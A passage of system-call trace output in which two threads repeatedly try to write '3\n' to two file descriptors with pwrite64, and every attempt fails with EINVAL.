[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
